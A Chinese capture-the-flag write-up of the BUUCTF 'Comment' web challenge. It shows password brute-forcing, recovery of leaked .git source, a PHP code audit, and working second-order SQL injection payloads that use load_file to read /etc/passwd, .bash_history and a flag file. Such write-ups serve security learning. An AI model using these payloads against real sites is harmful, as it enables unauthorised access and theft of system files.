BUUCTF-WEB 【网鼎杯 2018】Comment 1

考点

密码爆破

git泄露

代码审计

二次注入

解题过程

打开

一个留言板页面

image-20210817194543695

一个登录页面

image-20210817194636328

自己手工试了下,不存在万能密码绕过。仔细看了下输入框,发现有关键字,直接bp启动,开始爆破zhangwei*** 后三位。

image-20210817195007077

构造3位纯数字作为payload

image-20210817195122300

得到密码 zhangwei666

image-20210817195558551

接下来登录

image-20210817210615389

有个发帖和留言功能,用sqlmap也没检测出注入点。

接下来用dirsearch扫下目录。

1
python3 dirsearch.py -u "http://ccd2d540-8775-4d4a-a19c-70165c4879f1.node4.buuoj.cn:81/" -x 404,429 -s 1

image-20210817210959901

存在.git泄露

使用GitHacker对git文件进行恢复(ubuntu下)

1
githacker --url http://ccd2d540-8775-4d4a-a19c-70165c4879f1.node4.buuoj.cn:81/.git --folder res --threads 1

得到一个write_do.php 的文件

进目录中查找更改历史

1
git log --reflog

image-20210817211904733

只显示这一个,看了别的师傅wp,这里会出来3个历史更改,然后用 git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c 命令,就可以得到完整的代码。

可能是工具或者环境的问题,这里直接给代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
include "mysql.php";
session_start();
#
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}


if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
# 将 category title content 插入 board 表中
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
# 执行sql
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':

$bo_id = addslashes($_POST['bo_id']);
# 根据 bo_id 查询 category 字段值
$sql = "select category from board where id='$bo_id'";
# 执行sql
$result = mysql_query($sql);
$num = mysql_num_rows($result);
# 大于0 代表有结果集
if($num>0){
# 获取 category 字段值
$category = mysql_fetch_array($result)['category'];
# 获取提交内容
$content = addslashes($_POST['content']);
# 将 category 和 content 、bo_id 放入数据库中
# sql语句中的 $category 变量是从数据库中取出,而 $category 的值 最开始由 # $_POST['category']
# 经过 addslashes 对 单双引号 反斜线 进行转义(给' 转义成 \',\",\\), 但是到数据库中 这些\
# 会被丢弃,所以,这里存在二次注入
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

代码审计

这段代码有两个主要的作用,第一个分支write,是将帖子的标题、内容、分类插入到数据库中,第二个分支comment,提交留言,不过,这里在提交留言的时候,会先根据 bo_id 在数据库中进行查询,然后取出分类字段的字段值,然后再将取出的分类字段值和提交的留言以及bo_id插入到 comment 表中。虽说经过了 addslashes 进行转义,但是数据库中并不会存储 \ ,所以在第二次取出category,再次进行拼接插入的时候,就照成了注入,也是二次注入。

1
2
3
4
5
6
7
8
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
# 将 category title content 插入 board 表中
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";

这里并不存在注入。

1
2
3
4
5
6
7
8
9
10
11
# 这里的$category 是从数据中获取
# addslashes($_POST['category']); 拿到 ' " / 会转义成 \' \" \\
# 但是这样的 \' 存储在数据库中 \会被丢弃
$category = mysql_fetch_array($result)['category'];
# 获取提交内容
$content = addslashes($_POST['content']);

$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";

二次注入

构造payload aa',content=database(),/*

先在index.php

POST

1
title=111&category=aa',content=database(),/*&content=111
1
title=111&category=aa%27%2Ccontent%3Ddatabase%28%29%2C%2F*&content=111

插入的数据

1
2

insert into board set category = 'aa',content=database(),/*', title = '111',content = '111';

然后在comment.php

POST

1
content=*/#&bo_id=2
1
content=*%2F%23&bo_id=2

插入的数据

1
insert into comment set category ='aa',content=database(),/*', content = '*/#',bo_id = '2';

真正在数据库中执行的语句为

1
insert into comment set category = 'aa',content=database(),

回显 数据库名

image-20210817215143063

先用下面payload尝试读取/etc/passwd

index.php

1
title=111&category=aa',content=(select load_file('/etc/passwd')),/*&content=111

comment.php

1
content=*/#&bo_id=2

回显

image-20210817215607694

按照别的师傅wp指示

读取 /home/www/.bash_histroy

构造payload

index.php

1
title=111&category=aa',content=(select load_file('/home/www/.bash_history')),/*&content=111

image-20210817220952660

再次读取 .DS_store

1
title=111&category=aa',content=(select load_file('/tmp/html/.DS_Store')),/*&content=111

image-20210817221406991

用hex函数继续读取

1
title=111&category=aa',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*&content=111

image-20210817221527164

解码

image-20210817221640270

可以从字符串中看到一个带有flag字样的文件名,这个文件名不在/home/www中,在/var/www/html中,

接下来继续读取

1
title=111&category=aa',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*&content=111

image-20210817221909761

得到,解码,拿到flag。

image-20210817221952756

总结

这道题两个考点,又学到了新知识,第一个是git源码泄露,原本一直用的是githack,但是这个工具只能下载文件,不能查看历史版本,通过大佬的wp,又了解到一个githacker的工具,中途花了不少时间去安装这个工具,还是踩了些坑,这个工具要比githack强大些。第二个知识就是二次注入,二次注入做了很多次,每次花样都不一样,不看wp肯定做不起,不过又了解到了一种姿势,就此记录下来,原理都是一样。